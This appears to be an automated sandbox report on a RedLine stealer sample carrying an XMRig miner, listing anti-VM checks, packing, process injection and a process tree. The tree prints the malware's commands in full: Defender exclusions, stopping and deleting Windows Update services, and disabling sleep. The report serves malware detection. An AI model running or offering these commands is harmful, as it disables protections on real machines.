redline | 1c57972fdf93b973eedf51c140f28d41f4dc6bc3501ca37d7f409e41022b80a0

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup4325r.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/4444-275-0x00007FF606CE0000-0x00007FF6074D4000-memory.dmp	xmrig
behavioral2/memory/4444-280-0x00007FF606CE0000-0x00007FF6074D4000-memory.dmp	xmrig

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Executes dropped EXE 6 IoCs

pid	Process
4568	setu2p.exe
2468	setup32.exe
4500	setup.exe
4436	setup4325r.exe
1736	updater.exe
4192	MoUSO.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022e83-160.dat	upx
behavioral2/files/0x0006000000022e83-159.dat	upx
behavioral2/memory/2468-162-0x0000000000250000-0x0000000000A39000-memory.dmp	upx
behavioral2/memory/4444-275-0x00007FF606CE0000-0x00007FF6074D4000-memory.dmp	upx
behavioral2/memory/4444-280-0x00007FF606CE0000-0x00007FF6074D4000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup4325r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup4325r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	setup4325r.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Wine	setup4325r.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Wine	MoUSO.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 20 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0007000000022e84-164.dat	themida
behavioral2/memory/4500-166-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-167-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-169-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-170-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-171-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-172-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/memory/4500-184-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/files/0x0007000000022e84-210.dat	themida
behavioral2/memory/4500-212-0x00007FF78D840000-0x00007FF78E4D8000-memory.dmp	themida
behavioral2/files/0x0003000000000721-217.dat	themida
behavioral2/memory/1736-219-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-220-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-221-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-223-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-224-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-225-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/memory/1736-227-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida
behavioral2/files/0x0003000000000721-271.dat	themida
behavioral2/memory/1736-277-0x00007FF610360000-0x00007FF610FF8000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4500	setup.exe
4436	setup4325r.exe
1736	updater.exe
4192	MoUSO.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4128 set thread context of 3104	4128	file.exe	82
PID 4568 set thread context of 4652	4568	setu2p.exe	91
PID 1736 set thread context of 924	1736	updater.exe	151
PID 1736 set thread context of 4444	1736	updater.exe	157

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3560	sc.exe
1904	sc.exe
1808	sc.exe
1496	sc.exe
4308	sc.exe
2516	sc.exe
3784	sc.exe
4316	sc.exe
1856	sc.exe
4116	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1904	4652	WerFault.exe	91

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2156	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3104	vbc.exe
3104	vbc.exe
4436	setup4325r.exe
4436	setup4325r.exe
4780	powershell.exe
4780	powershell.exe
1804	powershell.exe
1804	powershell.exe
1560	powershell.exe
1560	powershell.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe
4192	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
676	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3104	vbc.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	4056	powercfg.exe
Token: SeCreatePagefilePrivilege	4056	powercfg.exe
Token: SeShutdownPrivilege	2988	powercfg.exe
Token: SeCreatePagefilePrivilege	2988	powercfg.exe
Token: SeShutdownPrivilege	1640	powercfg.exe
Token: SeCreatePagefilePrivilege	1640	powercfg.exe
Token: SeShutdownPrivilege	2524	powercfg.exe
Token: SeCreatePagefilePrivilege	2524	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe
Token: 36	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe
Token: 36	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 3104	4128	file.exe	82
PID 4128 wrote to memory of 3104	4128	file.exe	82
PID 4128 wrote to memory of 3104	4128	file.exe	82
PID 4128 wrote to memory of 3104	4128	file.exe	82
PID 4128 wrote to memory of 3104	4128	file.exe	82
PID 3104 wrote to memory of 4568	3104	vbc.exe	90
PID 3104 wrote to memory of 4568	3104	vbc.exe	90
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4568 wrote to memory of 4652	4568	setu2p.exe	91
PID 4652 wrote to memory of 2468	4652	RegSvcs.exe	92
PID 4652 wrote to memory of 2468	4652	RegSvcs.exe	92
PID 2468 wrote to memory of 4532	2468	setup32.exe	93
PID 2468 wrote to memory of 4532	2468	setup32.exe	93
PID 4652 wrote to memory of 4500	4652	RegSvcs.exe	95
PID 4652 wrote to memory of 4500	4652	RegSvcs.exe	95
PID 4652 wrote to memory of 4436	4652	RegSvcs.exe	96
PID 4652 wrote to memory of 4436	4652	RegSvcs.exe	96
PID 4652 wrote to memory of 4436	4652	RegSvcs.exe	96
PID 4436 wrote to memory of 2156	4436	setup4325r.exe	101
PID 4436 wrote to memory of 2156	4436	setup4325r.exe	101
PID 4436 wrote to memory of 2156	4436	setup4325r.exe	101
PID 4500 wrote to memory of 4780	4500	setup.exe	102
PID 4500 wrote to memory of 4780	4500	setup.exe	102
PID 4500 wrote to memory of 1568	4500	setup.exe	104
PID 4500 wrote to memory of 1568	4500	setup.exe	104
PID 4500 wrote to memory of 820	4500	setup.exe	106
PID 4500 wrote to memory of 820	4500	setup.exe	106
PID 4500 wrote to memory of 1804	4500	setup.exe	108
PID 4500 wrote to memory of 1804	4500	setup.exe	108
PID 1568 wrote to memory of 4116	1568	cmd.exe	110
PID 1568 wrote to memory of 4116	1568	cmd.exe	110
PID 820 wrote to memory of 4056	820	cmd.exe	111
PID 820 wrote to memory of 4056	820	cmd.exe	111
PID 1568 wrote to memory of 1808	1568	cmd.exe	112
PID 1568 wrote to memory of 1808	1568	cmd.exe	112
PID 820 wrote to memory of 2988	820	cmd.exe	113
PID 820 wrote to memory of 2988	820	cmd.exe	113
PID 1568 wrote to memory of 1496	1568	cmd.exe	114
PID 1568 wrote to memory of 1496	1568	cmd.exe	114
PID 820 wrote to memory of 1640	820	cmd.exe	115
PID 820 wrote to memory of 1640	820	cmd.exe	115
PID 820 wrote to memory of 2524	820	cmd.exe	117
PID 820 wrote to memory of 2524	820	cmd.exe	117
PID 1568 wrote to memory of 4308	1568	cmd.exe	116
PID 1568 wrote to memory of 4308	1568	cmd.exe	116
PID 1568 wrote to memory of 2516	1568	cmd.exe	118
PID 1568 wrote to memory of 2516	1568	cmd.exe	118
PID 1568 wrote to memory of 5104	1568	cmd.exe	119
PID 1568 wrote to memory of 5104	1568	cmd.exe	119
PID 1568 wrote to memory of 2424	1568	cmd.exe	120
PID 1568 wrote to memory of 2424	1568	cmd.exe	120
PID 1568 wrote to memory of 4012	1568	cmd.exe	121
PID 1568 wrote to memory of 4012	1568	cmd.exe	121
PID 1568 wrote to memory of 2136	1568	cmd.exe	122
PID 1568 wrote to memory of 2136	1568	cmd.exe	122

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Users\Admin\AppData\Local\Temp\setu2p.exe
    "C:\Users\Admin\AppData\Local\Temp\setu2p.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4652
    - - C:\Users\Admin\AppData\Local\Temp\setup32.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup32.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2468
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "del C:\Users\Admin\AppData\Local\Temp\setup32.exe"
        6⤵
        
        PID:4532
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Drops file in Drivers directory
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:4500
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4780
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1568
        
        C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:4116
        
        C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:1808
        
        C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:1496
        
        C:\Windows\system32\sc.exe
        
        sc stop bits
        7⤵
        Launches sc.exe
        
        PID:4308
        
        C:\Windows\system32\sc.exe
        
        sc stop dosvc
        7⤵
        Launches sc.exe
        
        PID:2516
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        7⤵
        
        PID:5104
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        7⤵
        
        PID:2424
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        7⤵
        Modifies security service
        
        PID:4012
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        7⤵
        
        PID:2136
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        7⤵
        
        PID:740
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:820
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4056
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2988
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1640
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2524
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
